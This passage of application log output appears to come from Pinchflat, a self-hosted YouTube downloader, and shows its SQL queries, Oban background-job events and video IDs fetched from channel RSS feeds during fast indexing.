s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:06:46.726 [debug] QUERY OK source="media_items" db=0.2ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 15:06:46.728 [debug] QUERY OK source="media_items" db=1.7ms idle=1.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:06:46.728 [debug] QUERY OK source="sources" db=0.0ms idle=2.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?,?)) [1, 2, 3] 15:06:46.732 [debug] QUERY OK source="media_items" db=3.7ms idle=3.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 15:06:46.736 [debug] QUERY OK source="media_items" db=3.5ms idle=6.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 15:06:46.736 [debug] QUERY OK source="tasks" db=0.1ms idle=10.0ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:06:46.736 [info] Sent 200 in 15ms 15:06:56.992 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:00.651 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:07:26.993 [info] {"source":"oban","duration":335,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:07:56.994 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:00.652 [info] {"source":"oban","duration":116,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:08:26.995 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:08:56.996 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:00.653 [info] {"source":"oban","duration":143,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:09:26.997 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:09:56.998 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:00.654 [info] {"source":"oban","duration":393,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:10:26.999 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:10:49.824 [info] {"args":{"id":2},"id":681,"meta":{},"system_time":1784905849824328341,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:10:49.824 [debug] QUERY OK source="sources" db=0.1ms idle=885.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:10:49.826 [debug] QUERY OK source="tasks" db=1.6ms idle=885.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:10:49.826 [debug] QUERY OK source="settings" db=2.1ms idle=885.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:10:49.827 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:10:49.827 [debug] QUERY OK source="settings" db=0.0ms idle=2.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:10:49.827 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 15:10:49.827 [debug] QUERY OK source="sources" db=1.1ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:10:50.172 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 15:10:50.172 [debug] QUERY OK source="media_items" db=0.2ms idle=346.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 15:10:50.173 [debug] QUERY OK source="media_items" db=0.2ms idle=345.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 15:10:50.173 [debug] QUERY OK source="tasks" db=0.0ms idle=346.2ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [684, 2, ~U[2026-07-24 15:10:50Z], ~U[2026-07-24 15:10:50Z]] 15:10:50.173 [info] {"args":{"id":2},"id":681,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":349480,"event":"job:stop","queue_time":506151,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:10:50.174 [debug] QUERY OK source="tasks" db=0.1ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:10:57.000 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 15:11:00.655 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:11:03.839 [info] {"args":{"id":1},"id":682,"meta":{},"system_time":1784905863839466533,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:11:03.839 [debug] QUERY OK source="sources" db=0.1ms idle=1900.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:11:03.839 [debug] QUERY OK source="tasks" db=0.1ms idle=1900.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:11:03.840 [debug] QUERY OK source="settings" db=0.1ms idle=1008.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:11:03.840 [debug] QUERY OK source="sources" db=0.2ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 15:11:03.840 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:11:03.840 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:11:03.840 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 15:11:04.024 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 15:11:04.025 [debug] QUERY OK source="media_items" db=0.2ms idle=184.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 15:11:04.027 [debug] QUERY OK source="media_items" db=2.1ms idle=185.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 15:11:04.028 [debug] QUERY OK source="tasks" db=0.0ms idle=187.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [685, 1, ~U[2026-07-24 15:11:04Z], ~U[2026-07-24 15:11:04Z]] 15:11:04.028 [info] {"args":{"id":1},"id":682,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":188869,"event":"job:stop","queue_time":597887,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:11:04.029 [debug] QUERY OK source="tasks" db=0.3ms idle=1.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:11:18.855 [info] {"args":{"id":3},"id":683,"meta":{},"system_time":1784905878855278690,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 15:11:18.855 [debug] QUERY OK source="sources" db=0.4ms idle=916.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:11:18.856 [debug] QUERY OK source="tasks" db=0.5ms idle=916.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 15:11:18.856 [debug] QUERY OK source="settings" db=0.1ms idle=917.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:11:18.856 [debug] QUERY OK source="sources" db=0.1ms idle=7.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:11:18.856 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:11:18.856 [debug] QUERY OK source="settings" db=0.0ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:11:18.856 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 15:11:19.054 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 15:11:19.055 [debug] QUERY OK source="media_items" db=0.2ms idle=198.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", 